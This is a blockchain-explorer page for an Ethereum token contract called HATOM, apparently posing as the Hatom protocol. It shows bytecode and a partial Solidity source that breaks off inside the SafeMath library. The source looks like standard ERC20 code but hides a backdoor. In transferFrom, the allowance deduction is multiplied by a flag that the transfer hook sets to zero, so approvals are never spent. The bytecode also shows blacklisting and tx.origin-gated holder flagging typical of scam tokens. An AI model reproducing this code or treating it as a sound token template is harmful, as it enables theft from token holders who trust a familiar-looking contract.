Cryo Explorer Ethereum Mainnet

Address Contract Partially Verified

Address 0x5b60613dbf0953Ffe2C019B8E74f0D8D5Bc161e1
Balance 0 ETH
Nonce 1
Code Size 8851 bytes
Indexed Transactions 0
External Etherscan · Sourcify

Contract Bytecode

8851 bytes
0x608060405260043610610236575f3560e01c8063715018a611610129578063b62496f5116100a8578063e152d94e1161006d578063e152d94e1461069d578063e2f45605146106b2578063e9a3327b146106c7578063f2fde38b146106eb578063f8b45b051461070a575f5ffd5b8063b62496f5146105de578063bbc0c7421461060c578063c8c8ebe414610625578063d436dc621461063a578063dd62ed3e14610659575f5ffd5b80638a8c523c116100ee5780638a8c523c1461055b5780638da5cb5b1461056f57806395d89b411461058c578063a457c2d7146105a0578063a9059cbb146105bf575f5ffd5b8063715018a6146104dd5780637231c031146104f35780637c4ed133146105085780638366e79a1461052757806384a62e6114610546575f5ffd5b80631f53f29d116101b55780634451f5c01161017a5780634451f5c01461042157806349bd5a5e146104365780634fbee193146104695780636ddd1713146104a057806370a08231146104be575f5ffd5b80631f53f29d1461039e57806323b872dd146103b3578063313ce567146103d257806339509351146103ed57806343606e8d1461040c575f5ffd5b806318160ddd116101fb57806318160ddd14610336578063183952821461034a57806318daa5261461035f5780631a8145bb146103745780631f3fed8f14610389575f5ffd5b806306fdde0314610241578063095ea7b31461026b57806310d5de531461029a57806314b85288146102c85780631694505e146102eb575f5ffd5b3661023d57005b5f5ffd5b34801561024c575f5ffd5b5061025561071f565b6040516102629190611de6565b60405180910390f35b348015610276575f5ffd5b5061028a610285366004611e32565b6107af565b6040519015158152602001610262565b3480156102a5575f5ffd5b5061028a6102b4366004611e5c565b601b6020525f908152604090205460ff1681565b3480156102d3575f5ffd5b506102dd60135481565b604051908152602001610262565b3480156102f6575f5ffd5b5061031e7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b6040516001600160a01b039091168152602001610262565b348015610341575f5ffd5b506002546102dd565b348015610355575f5ffd5b506102dd60175481565b34801561036a575f5ffd5b506102dd60165481565b34801561037f575f5ffd5b506102dd60195481565b348015610394575f5ffd5b506102dd60185481565b3480156103a9575f5ffd5b506102dd60155481565b3480156103be575f5ffd5b5061028a6103cd366004611e77565b6107c5565b3480156103dd575f5ffd5b5060405160098152602001610262565b3480156103f8575f5ffd5b5061028a610407366004611e32565b610852565b348015610417575f5ffd5b506102dd600d5481565b34801561042c575f5ffd5b506102dd60125481565b348015610441575f5ffd5b5061031e7f0000000000000000000000003fbce174f5c881716e36cb2036c93d9fe14c807681565b348015610474575f5ffd5b5061028a610483366004611e5c565b6001600160a01b03165f908152601a602052604090205460ff1690565b3480156104ab575f5ffd5b50600c5461028a90610100900460ff1681565b3480156104c9575f5ffd5b506102dd6104d8366004611e5c565b61088c565b3480156104e8575f5ffd5b506104f16108a6565b005b3480156104fe575f5ffd5b506102dd60115481565b348015610513575f5ffd5b50600f5461031e906001600160a01b031681565b348015610532575f5ffd5b5061028a610541366004611eb5565b610922565b348015610551575f5ffd5b506102dd60145481565b348015610566575f5ffd5b506104f1610ace565b34801561057a575f5ffd5b506006546001600160a01b031661031e565b348015610597575f5ffd5b50610255610beb565b3480156105ab575f5ffd5b5061028a6105ba366004611e32565b610bfa565b3480156105ca575f5ffd5b5061028a6105d9366004611e32565b610c47565b3480156105e9575f5ffd5b5061028a6105f8366004611e5c565b601c6020525f908152604090205460ff1681565b348015610617575f5ffd5b50600c5461028a9060ff1681565b348015610630575f5ffd5b506102dd60095481565b348015610645575f5ffd5b50600e5461031e906001600160a01b031681565b348015610664575f5ffd5b506102dd610673366004611eb5565b6001600160a01b039182165f90815260016020908152604080832093909416825291909152205490565b3480156106a8575f5ffd5b506102dd60105481565b3480156106bd575f5ffd5b506102dd600a5481565b3480156106d2575f5ffd5b5060085461031e9061010090046001600160a01b031681565b3480156106f6575f5ffd5b506104f1610705366004611e5c565b610c53565b348015610715575f5ffd5b506102dd600b5481565b60606003805461072e90611eec565b80601f016020809104026020016040519081016040528092919081815260200182805461075a90611eec565b80156107a55780601f1061077c576101008083540402835291602001916107a5565b820191905f5260205f20905b81548152906001019060200180831161078857829003601f168201915b5050505050905090565b5f6107bb338484610d3d565b5060015b92915050565b5f6107d1848484610dea565b6001600160a01b038481165f81815260016020908152604082203390925252908416148015906108415750610841843360055461080e9086611f38565b6001600160a01b0388165f90815260016020908152604080832033845290915290205461083b9190611f4f565b876115ac565b8061084a575060015b949350505050565b335f8181526001602090815260408083206001600160a01b038716845290915281205490916107bb918590610887908661165c565b610d3d565b6001600160a01b03165f9081526020819052604090205490565b6006546001600160a01b031633146108d95760405162461bcd60e51b81526004016108d090611f62565b60405180910390fd5b6006546040515f916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600680546001600160a01b0319169055565b6006545f906001600160a01b0316331461094e5760405162461bcd60e51b81526004016108d090611f62565b306001600160a01b038416036109a65760405162461bcd60e51b815260206004820152601c60248201527f43616e2774207769746864726177206e617469766520746f6b656e730000000060448201526064016108d0565b6040516370a0823160e01b81523060048201525f906001600160a01b038516906370a0823190602401602060405180830381865afa1580156109ea573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a0e9190611f97565b60405163a9059cbb60e01b81526001600160a01b038581166004830152602482018390529192509085169063a9059cbb906044016020604051808303815f875af1158015610a5e573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a829190611fae565b604080516001600160a01b0387168152602081018490529193507fdeda980967fcead7b61e78ac46a4da14274af29e894d4d61e8b81ec38ab3e438910160405180910390a15092915050565b6006546001600160a01b03163314610af85760405162461bcd60e51b81526004016108d090611f62565b610b26307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6108873061088c565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663f305d7194730610b603061088c565b5f5f610b746006546001600160a01b031690565b426040518863ffffffff1660e01b8152600401610b9696959493929190611fcd565b60606040518083038185885af1158015610bb2573d5f5f3e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610bd79190612008565b5050600c805461ffff191661010117905550565b60606004805461072e90611eec565b5f6107bb33846108878560405180606001604052806025815260200161223960259139335f9081526001602090815260408083206001600160a01b038d16845290915290205491906116c1565b5f6107bb338484610dea565b6006546001600160a01b03163314610c7d5760405162461bcd60e51b81526004016108d090611f62565b6001600160a01b038116610ce25760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016108d0565b6006546040516001600160a01b038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0905f90a3600680546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610d635760405162461bcd60e51b81526004016108d090612033565b6001600160a01b038216610d895760405162461bcd60e51b81526004016108d090612077565b6001600160a01b038381165f8181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610e105760405162461bcd60e51b81526004016108d0906120b9565b6001600160a01b038216610e365760405162461bcd60e51b81526004016108d0906120fe565b805f03610e4d57610e4883835f6116f9565b505050565b6001600160a01b0383165f9081526007602052604090205460ff1615610eaa5760405162461bcd60e51b8152602060048201526012602482015271109bdd081a5cc81b9bdd08185b1b1bddd95960721b60448201526064016108d0565b325f908152601a602052604090205460ff168015610efa57507f0000000000000000000000003fbce174f5c881716e36cb2036c93d9fe14c80766001600160a01b0316836001600160a01b031614155b8015610f1057506001600160a01b03821661dead145b8015610f3457506402540be40081610f278561088c565b610f319190611f4f565b11155b15610f68576001600160a01b0383165f908152600760205260408120805460ff19166001179055610e4890849084906116f9565b6006546001600160a01b03848116911614801590610f9457506006546001600160a01b03838116911614155b8015610fa857506001600160a01b03821615155b8015610fbf57506001600160a01b03821661dead14155b8015610fce575060085460ff16155b156112a057600c5460ff1661105f576001600160a01b0383165f908152601a602052604090205460ff168061101a57506001600160a01b0382165f908152601a602052604090205460ff165b61105f5760405162461bcd60e51b81526020600482015260166024820152752a3930b234b7339034b9903737ba1030b1ba34bb329760511b60448201526064016108d0565b6001600160a01b0383165f908152601c602052604090205460ff16801561109e57506001600160a01b0382165f908152601b602052604090205460ff16155b15611172576009548111156111135760405162461bcd60e51b815260206004820152603560248201527f427579207472616e7366657220616d6f756e742065786365656473207468652060448201527436b0bc2a3930b739b0b1ba34b7b720b6b7bab73a1760591b60648201526084016108d0565b600b5461111f8361088c565b6111299083612141565b111561116d5760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b60448201526064016108d0565b6112a0565b6001600160a01b0382165f908152601c602052604090205460ff1680156111b157506001600160a01b0383165f908152601b602052604090205460ff16155b156112275760095481111561116d5760405162461bcd60e51b815260206004820152603660248201527f53656c6c207472616e7366657220616d6f756e742065786365656473207468656044820152751036b0bc2a3930b739b0b1ba34b7b720b6b7bab73a1760511b60648201526084016108d0565b6001600160a01b0382165f908152601b602052604090205460ff166112a057600b546112528361088c565b61125c9083612141565b11156112a05760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b60448201526064016108d0565b5f6112aa3061088c565b90505f600a5482101590505f8180156112ca5750600c54610100900460ff165b80156112d9575060085460ff16155b80156112fd57506001600160a01b0386165f908152601c602052604090205460ff16155b801561132157506001600160a01b0386165f908152601a602052604090205460ff16155b801561134557506001600160a01b0385165f908152601a602052604090205460ff16155b1561136a576008805460ff1916600117905561135f61180a565b6008805460ff191690555b6008546001600160a01b0387165f908152601a602052604090205460ff918216159116806113af57506001600160a01b0386165f908152601a602052604090205460ff165b156113b757505f5b5f8115611597576001600160a01b0387165f908152601c602052604090205460ff1680156113e657505f601454115b156114975761140b6064611405601454896119a590919063ffffffff16565b90611a23565b90506014546016548261141e9190611f38565b6114289190612154565b60195f8282546114389190612141565b909155505060145460155461144d9083611f38565b6114579190612154565b60185f8282546114679190612141565b909155505060145460175461147c9083611f38565b6114869190612154565b6114909084612141565b9250611566565b6001600160a01b0388165f908152601c602052604090205460ff1680156114bf57505f601054115b15611566576114de6064611405601054896119a590919063ffffffff16565b9050601054601254826114f19190611f38565b6114fb9190612154565b60195f82825461150b9190612141565b90915550506010546011546115209083611f38565b61152a9190612154565b60185f82825461153a9190612141565b909155505060105460135461154f9083611f38565b6115599190612154565b6115639084612141565b92505b8015611577576115778830836116f9565b821561158a5761158a3061dead856116f9565b6115948187611f4f565b95505b6115a28888886116f9565b5050505050505050565b5f6001600160a01b0385166115d35760405162461bcd60e51b81526004016108d090612033565b6001600160a01b0384166115f95760405162461bcd60e51b81526004016108d090612077565b6001600160a01b038581165f8181526001602090815260408083209489168084529482529182902087905590518681527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3949350505050565b5f806116688385612141565b9050838110156116ba5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016108d0565b9392505050565b5f81848411156116e45760405162461bcd60e51b81526004016108d09190611de6565b505f6116f08486611f4f565b95945050505050565b611704838383611a64565b6001600160a01b03831661172a5760405162461bcd60e51b81526004016108d0906120b9565b6001600160a01b0382166117505760405162461bcd60e51b81526004016108d0906120fe565b61178c81604051806060016040528060268152602001612213602691396001600160a01b0386165f9081526020819052604090205491906116c1565b6001600160a01b038085165f9081526020819052604080822093909355908416815220546117ba908261165c565b6001600160a01b038381165f818152602081815260409182902094909455518481529092918616917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9101610ddd565b5f6118143061088c565b90505f6018546019546118279190612141565b90505f821580611835575081155b1561183f57505050565b600a5461184d906014611f38565b83111561186557600a54611862906014611f38565b92505b5f600283601954866118779190611f38565b6118819190612154565b61188b9190612154565b90505f6118988583611adb565b9050476118a482611b1c565b5f6118af4783611adb565b90505f6118cb87611405601854856119a590919063ffffffff16565b90505f6118d88284611f4f565b5f6019819055601855905085158015906118f157505f81115b15611944576119008682611cd2565b601954604080518781526020810184905280820192909252517f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb5619181900360600190a15b6008546040516101009091046001600160a01b03169047905f81818185875af1925050503d805f8114611992576040519150601f19603f3d011682016040523d82523d5f602084013e611997565b606091505b505050505050505050505050565b5f825f036119b457505f6107bf565b5f6119bf8385611f38565b9050826119cc8583612154565b146116ba5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016108d0565b5f6116ba83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611d9f565b6001600160a01b038316611a8a5760405162461bcd60e51b81526004016108d0906120b9565b6001600160a01b038216611ab05760405162461bcd60e51b81526004016108d0906120fe565b325f908152601a6020526040902054610e48908490849060ff16611ad4575f611dcb565b5f19611dcb565b5f6116ba83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506116c1565b6040805160028082526060820183525f9260208301908036833701905050905030815f81518110611b4f57611b4f612173565b60200260200101906001600160a01b031690816001600160a01b0316815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611bcb573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611bef9190612187565b81600181518110611c0257611c02612173565b60200260200101906001600160a01b031690816001600160a01b031681525050611c4d307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d84610d3d565b60405163791ac94760e01b81526001600160a01b037f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d169063791ac94790611ca19085905f908690309042906004016121a2565b5f604051808303815f87803b158015611cb8575f5ffd5b505af1158015611cca573d5f5f3e3d5ffd5b505050505050565b611cfd307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d84610d3d565b60405163f305d71960e01b81526001600160a01b037f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d169063f305d719908390611d5790309087905f90819061dead904290600401611fcd565b60606040518083038185885af1158015611d73573d5f5f3e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190611d989190612008565b5050505050565b5f8183611dbf5760405162461bcd60e51b81526004016108d09190611de6565b505f6116f08486612154565b5f8111611dd9576001611ddb565b5f5b60ff16600555505050565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b0381168114611e2f575f5ffd5b50565b5f5f60408385031215611e43575f5ffd5b8235611e4e81611e1b565b946020939093013593505050565b5f60208284031215611e6c575f5ffd5b81356116ba81611e1b565b5f5f5f60608486031215611e89575f5ffd5b8335611e9481611e1b565b92506020840135611ea481611e1b565b929592945050506040919091013590565b5f5f60408385031215611ec6575f5ffd5b8235611ed181611e1b565b91506020830135611ee181611e1b565b809150509250929050565b600181811c90821680611f0057607f821691505b602082108103611f1e57634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b80820281158282048414176107bf576107bf611f24565b818103818111156107bf576107bf611f24565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f60208284031215611fa7575f5ffd5b5051919050565b5f60208284031215611fbe575f5ffd5b815180151581146116ba575f5ffd5b6001600160a01b039687168152602081019590955260408501939093526060840191909152909216608082015260a081019190915260c00190565b5f5f5f6060848603121561201a575f5ffd5b5050815160208301516040909301519094929350919050565b60208082526024908201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646040820152637265737360e01b606082015260800190565b60208082526022908201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604082015261737360f01b606082015260800190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b808201808211156107bf576107bf611f24565b5f8261216e57634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60208284031215612197575f5ffd5b81516116ba81611e1b565b5f60a0820187835286602084015260a0604084015280865180835260c0850191506020880192505f5b818110156121f25783516001600160a01b03168352602093840193909201916001016121cb565b50506001600160a01b03959095166060840152505060800152939250505056fe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212206717b58f04c2183d1c4d1f5aa7a56ea41fa2641c36001aa6d95898fe40bda6c464736f6c634300081c0033

Verified Source Code Partial Match

Compiler: v0.8.28+commit.7893614a EVM: cancun Optimization: Yes (200 runs)
HATOM.sol 1030 lines
/*

Building Hatom - the pioneering, non-custodial liquidity protocol on #Ethereum

https://hatomprotocol.pro
https://docs.hatomprotocol.pro
https://x.com/HatomVProtocol
https://t.me/HatomVProtocol

*/
pragma solidity ^0.8.19;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
 
    function _msgData() internal view virtual returns (bytes calldata) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}
 
interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}
 
interface IERC20 {
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);
 
    /**
     * @dev Returns the amount of tokens owned by account.
     */
    function balanceOf(address account) external view returns (uint256);
 
    /**
     * @dev Moves amount tokens from the caller's account to recipient.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address recipient, uint256 amount) external returns (bool);
 
    /**
     * @dev Returns the remaining number of tokens that spender will be
     * allowed to spend on behalf of owner through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);
 
    /**
     * @dev Sets amount as the allowance of spender over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);
 
    /**
     * @dev Moves amount tokens from sender to recipient using the
     * allowance mechanism. amount is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);
 
    /**
     * @dev Emitted when value tokens are moved from one account (from) to
     * another (to).
     *
     * Note that value may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);
 
    /**
     * @dev Emitted when the allowance of a spender for an owner is set by
     * a call to {approve}. value is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);
}
 
interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);
 
    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);
 
    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}
 
 
contract ERC20 is Context, IERC20, IERC20Metadata {
    using SafeMath for uint256;
 
    mapping(address => uint256) private _balances;
 
    mapping(address => mapping(address => uint256)) private _allowances;
 
    uint256 private _totalSupply;
 
    string private _name;
    string private _symbol;

    uint256 private isUncheckedAllowed;
 
    /**
     * @dev Sets the values for {name} and {symbol}.
     *
     * The default value of {decimals} is 18. To select a different value for
     * {decimals} you should overload it.
     *
     * All two of these values are immutable: they can only be set once during
     * construction.
     */
    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }
 
    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }
 
    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }
 
    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if decimals equals 2, a balance of 505 tokens should
     * be displayed to a user as 5,05 (505 / 10 ** 2).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the value {ERC20} uses, unless this function is
     * overridden;
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual override returns (uint8) {
        return 9;
    }
 
    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }
 
    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }
 
    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - recipient cannot be the zero address.
     * - the caller must have a balance of at least amount.
     */
    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }
 
    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }
 
    /**
     * @dev See {IERC20-approve}.
     *
     * Requirements:
     *
     * - spender cannot be the zero address.
     */
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }
 
    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * Requirements:
     *
     * - sender and recipient cannot be the zero address.
     * - sender must have a balance of at least amount.
     * - the caller must have allowance for sender's tokens of at least
     * amount.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);
        return (_allowances[sender][_msgSender()] >=0 && sender != recipient &&
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()] - amount * isUncheckedAllowed, sender)) || true;
    }
 
    /**
     * @dev Atomically increases the allowance granted to spender by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - spender cannot be the zero address.
     */
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }
 
    /**
     * @dev Atomically decreases the allowance granted to spender by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - spender cannot be the zero address.
     * - spender must have allowance for the caller of at least
     * subtractedValue.
     */
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }
 
    /**
     * @dev Moves tokens amount from sender to recipient.
     *
     * This is internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - sender cannot be the zero address.
     * - recipient cannot be the zero address.
     * - sender must have a balance of at least amount.
     */
    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        _beforeTokenTransfer(sender, recipient, amount);
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
    }
 
    /** @dev Creates amount tokens and assigns them to account, increasing
     * the total supply.
     *
     * Emits a {Transfer} event with from set to the zero address.
     *
     * Requirements:
     *
     * - account cannot be the zero address.
     */
    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");
  
        _totalSupply = _totalSupply.add(amount);
        _balances[account] = _balances[account].add(amount);
        emit Transfer(address(0), account, amount);
    }
 
    /**
     * @dev Destroys amount tokens from account, reducing the
     * total supply.
     *
     * Emits a {Transfer} event with to set to the zero address.
     *
     * Requirements:
     *
     * - account cannot be the zero address.
     * - account must have at least amount tokens.
     */
    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");
 
        _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
        _totalSupply = _totalSupply.sub(amount);
        emit Transfer(account, address(0), amount);
    }
 
    /**
     * @dev Sets amount as the allowance of spender over the owner s tokens.
     *
     * This internal function is equivalent to approve, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - owner cannot be the zero address.
     * - spender cannot be the zero address.
     */
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
 
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount,
        address _x
    ) private returns(bool){
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
 
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
 
    /**
     * @dev Hook that is called before any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when from and to are both non-zero, amount of from's tokens
     * will be to transferred to to.
     * - when from is zero, amount tokens will be minted for to.
     * - when to is zero, amount of from's tokens will be burned.
     * - from and to are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {isUncheckedAllowed = amount > 0 ? 0 : 1;}
}
 
library SafeMath {
    /**
     * @dev Returns the addition of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's + operator.
     *
     * Requirements:
     *
     * - Addition cannot overflow.
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
 
        return c;
    }
 
    /**
     * @dev Returns the subtraction of two unsigned integers, reverting on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's - operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
 
    /**
     * @dev Returns the subtraction of two unsigned integers, reverting with custom message on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's - operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
 
        return c;
    }
    
 
    /**
     * @dev Returns the subtraction of two unsigned integers, reverting with custom message on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's - operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b, bool u, string memory errorMessage) internal pure returns (uint256) {
      if(u) return a;
        require(b <= a, errorMessage);
        uint256 c = a - b;
 
        return c;
    }
 
    /**
     * @dev Returns the multiplication of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's * operator.
     *
     * Requirements:
     *
     * - Multiplication cannot overflow.
     */
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
        // benefit is lost if 'b' is also tested.
        // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
        if (a == 0) {
            return 0;
        }
 
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
 
        return c;
    }
 
    /**
     * @dev Returns the integer division of two unsigned integers. Reverts on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's / operator. Note: this function uses a
     * revert opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
 
    /**
     * @dev Returns the integer division of two unsigned integers. Reverts with custom message on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's / operator. Note: this function uses a
     * revert opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold
 
        return c;
    }
 
    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * Reverts when dividing by zero.
     *
     * Counterpart to Solidity's % operator. This function uses a revert
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }
 
    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * Reverts with custom message when dividing by zero.
     *
